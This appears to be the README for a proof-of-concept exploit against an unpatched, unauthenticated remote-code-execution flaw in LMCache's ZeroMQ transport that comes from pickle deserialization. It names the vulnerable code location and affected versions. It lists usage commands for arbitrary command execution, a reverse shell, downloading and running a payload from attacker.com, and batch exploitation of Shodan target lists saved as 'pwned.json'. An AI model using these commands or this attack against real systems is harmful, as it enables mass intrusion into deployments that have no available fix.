
Proof-of-concept exploit for CVE-2026-105192, an unauthenticated RCE in LMCache via pickle deserialization on the ZeroMQ transport, with command execution, reverse shell, and batch scanning.
LMCache Unauthenticated RCE via Pickle Deserialization, CVSS 9.8
LMCache multiprocess mode opens an unauthenticated ZeroMQ ROUTER (default port 5555). Msgpack extension code 1 calls DeviceIPCWrapper.Deserialize() → pickle.loads() before message-type validation.
Root cause: lmcache/v1/platform/base/ipc_wrapper.py line 80 (pickle.loads on ext code 1). See also lmcache/v1/multiprocess/custom_types.py.
| Version | Status |
|---|---|
| 0.3.9 – 0.5.5 | Vulnerable |
| 0.5.6rc*, dev | Vulnerable |
| Fixed | NONE, no patch exists (https://blog.lmcache.ai/en/2026/10/13/an-update-on-cve-2026-105192) |
Default bind is localhost, not remotely exploitable. The server is reachable only when started with --host set to a routable address (multi-node K8s, multi-host deployments). Official container images run as root.
Single unauthenticated ZMQ DEALER message containing a msgpack frame with ext code 1 wrapping a pickle payload executes arbitrary Python. The handler runs the pickle during argument decode, before checking message type, so the command runs first and an error is logged after.
# Run command
python poc.py -t 10.0.0.1 -p 5555 -c "id"
# Reverse shell
python poc.py -t 10.0.0.1 --reverse LHOST LPORT
# Download & exec payload
python poc.py -t 10.0.0.1 --remote-exec http://attacker.com/payload.sh
# Batch scan Shodan JSON
python poc.py --batch shodan_data/lmcache_targets.json -o pwned.json
# Probe only
python poc.py -t 10.0.0.1 --probe
--host to a routable address